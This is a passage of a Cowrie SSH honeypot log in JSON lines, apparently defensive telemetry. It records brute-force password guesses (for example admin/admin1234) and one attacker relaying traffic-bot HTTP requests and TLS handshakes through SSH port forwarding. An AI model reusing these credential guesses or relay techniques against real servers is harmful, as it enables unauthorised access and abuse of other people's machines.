nV32%2Bu9oUGuWDQUOlUcKoN%2FD6Q4m61KTkW6mn9J78FK1IGn4ortY9bxWojw4bC9LOnMYk0mCSesdbtcvdO9s42FhQdnNAwi250XnXg00iWHniuYsa8yJHetKv%2F6w%2B0fbbVYJ381R4PIHxWuE9pGO9CyWHdekaLG855RGLfnsd9D7u0VK5EifQ01AjCfso%2BYRdl933UYvQw0%2BieNqyu0oPOybGcOlOBqvUBpnQzPqM6gXDnRl%2BHYsEC42423mq641a2m5bLTKqfLnJ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=b0l3Mi80JV50RzE5WF9SJQ%3D%3D62kB2yuLYXVEyRjMeBTztHdu9mSrh9gr%2BPIvGNLHmuymYFw9Wsq7pOoOvmSldwL5VlZdLgHo%2BShP9%2FXUD8FsQ4pmL4uGKryfpEN%2FH%2BIBoTBPlHBDWBDyJoLcgkbBZyEWabDEwwz39SajXYdLUci6nKgQg0X7pcTVyLvXNTujGBv6eHnPDXOwImtNZc2l76zWUAMWfnqV3TzKm4VVXbYUAzL37P9UMx7uq63RUSa9esmhR1twQL3bswV6yVPTgqyQT2i1u%2FXBnh6kw4MiOMM2uTChuyKxOp1Ud07lV%2BnQ8%2BaxhaBHA9FFJaZAsIGj4ZimpVxqH2Ni164znAS842jrpcL4OQBbGN7KcIXq5B%2BS8SIMduE4PmauhZr4OFcl7ydHjky%2FS9qZwgwuQsymeqJPPI4tigxIH4fOXkmZaRRE%2FtyAr%2BOvLWVs30iZOEQtH5wiZZ801RbZGzfKeszXrq0wKbroJY0ZGfCRkeGeS2hPm6K5IrqI%2FUPRH4DQrs0YNDHEJ9hvpQfuNmQXgjd7RJB1%2FGyiI2pvHt9xWy%2FybdVLEGE%2BXFb9wOqB%2Bhh%2FrtgISW3etBXlTude6ZR3NJCbbuTM19KdjQTMBPdaW3rLNB20YUtM5nmlNYsBynWgYn3AeP7rGs1EeTT%2Ba%2FNHOdqP9L6mW155bmm%2BS%2FziKuAuGWgLo0IrUr1w8MOeO28Se3x1TmvjLXWa8jIZotvak03pfsJCVVDiJwhagBjtfH3FDNQqlpmdtcuhQMfFoVzpHAsb%2BSTg5eaR%2FKkmx7AMxO6Guu7j5ql4ApptvZjkB0hMXYU25dfltYiM%2FgmnV32%2Bu9oUGuWDQUOlUcKoN%2FD6Q4m61KTkW6mn9J78FK1IGn4ortY9bxWojw4bC9LOnMYk0mCSesdbtcvdO9s42FhQdnNAwi250XnXg00iWHniuYsa8yJHetKv%2F6w%2B0fbbVYJ381R4PIHxWuE9pGO9CyWHdekaLG855RGLfnsd9D7u0VK5EifQ01AjCfso%2BYRdl933UYvQw0%2BieNqyu0oPOybGcOlOBqvUBpnQzPqM6gXDnRl%2BHYsEC42423mq641a2m5bLTKqfLnJ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.812833Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:21.051208Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06\\xe2Ai\\xf4\\xd1\\xffm\\xe6)\\xf5\\xe9[\\x8c\\xfa\\nz9f\\xfd\\x1a\\x14:\\xb9#\\xcdkk|e\\xe8\\xc4 \\xca\\x87j\\x1f\\xeaF\\x02T\\xea\\x81\\x84u$\\x92\\x95\\xa6r\\xb7No$qY\\xbc5C\\xefm\\xf6D\\xcc\\xdd\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14+<\\xee\\x97sZnR5\\xcf\\xa7\\xe7[a/\\xcd\\xc3 T\\\\Se\\x1d\\x96\\xb3_>\\x07_<f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06\\xe2Ai\\xf4\\xd1\\xffm\\xe6)\\xf5\\xe9[\\x8c\\xfa\\nz9f\\xfd\\x1a\\x14:\\xb9#\\xcdkk|e\\xe8\\xc4 \\xca\\x87j\\x1f\\xeaF\\x02T\\xea\\x81\\x84u$\\x92\\x95\\xa6r\\xb7No$qY\\xbc5C\\xefm\\xf6D\\xcc\\xdd\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14+<\\xee\\x97sZnR5\\xcf\\xa7\\xe7[a/\\xcd\\xc3 T\\\\Se\\x1d\\x96\\xb3_>\\x07_<f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:21.054492Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"P@ssw0rd","message":"login attempt [sam/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:21.261896Z","src_ip":"182.93.50.90","session":"5444c6ea351a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:21.540944Z","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:21.787181Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\xcb\\xb6\\xb6\\xd9\\x06R\\xff\\x7f\\xfd\\xb1\\x05\\x18\\xc6\\xf8u\\xca\\xf0\\xc1\\xbf\\xde\\xd9\\xffm\\x8b\\xbb\\xa2\\xda\\xff\\xdf\\x11\\xaa \\x0e&\\xfc\\x05\\xc3U\\xb3\\x13<NX)\\xedDx\\xb4\\xd5a]0W\\x8f\\xedY\\x8d\\x17\\x88\\'e\\\\\\xbb\\xc9\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x17\\xe7\\xc2]\\xa8?\\xc4\\x15m\\nK\\xadW\\xbe\\xa70\\xe9\\xc6FB\\x90\\xa4hJZcDe\\xba\\xc7{\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\xcb\\xb6\\xb6\\xd9\\x06R\\xff\\x7f\\xfd\\xb1\\x05\\x18\\xc6\\xf8u\\xca\\xf0\\xc1\\xbf\\xde\\xd9\\xffm\\x8b\\xbb\\xa2\\xda\\xff\\xdf\\x11\\xaa \\x0e&\\xfc\\x05\\xc3U\\xb3\\x13<NX)\\xedDx\\xb4\\xd5a]0W\\x8f\\xedY\\x8d\\x17\\x88\\'e\\\\\\xbb\\xc9\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x17\\xe7\\xc2]\\xa8?\\xc4\\x15m\\nK\\xadW\\xbe\\xa70\\xe9\\xc6FB\\x90\\xa4hJZcDe\\xba\\xc7{\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:21.790334Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:22.147281Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:22.482509Z","src_ip":"182.93.50.90","session":"5444c6ea351a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":44786,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71dab7e0438","protocol":"ssh","message":"New connection: 101.79.165.43:44786 (159.203.135.109:22) [session: f71dab7e0438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:22.926499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:22.931882Z","src_ip":"101.79.165.43","session":"f71dab7e0438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:23.147031Z","src_ip":"101.79.165.43","session":"f71dab7e0438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester@2024","message":"login attempt [tester/tester@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:24.046653Z","src_ip":"101.79.165.43","session":"f71dab7e0438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:25.264430Z","src_ip":"101.79.165.43","session":"f71dab7e0438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62916,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd10b5790c01","protocol":"ssh","message":"New connection: 123.27.168.40:62916 (10.17.0.5:22) [session: fd10b5790c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:25.960791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:25.968670Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:26.272387Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.349339Z","src_ip":"123.27.168.40","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.731774Z","session":"fd10b5790c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":51152,"dst_ip":"159.203.135.109","dst_port":22,"session":"04c8f54f8386","protocol":"ssh","message":"New connection: 103.60.242.169:51152 (159.203.135.109:22) [session: 04c8f54f8386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.741399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.750448Z","src_ip":"103.60.242.169","session":"04c8f54f8386","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:27.841868Z","session":"fd10b5790c01","protocol":"ssh"}
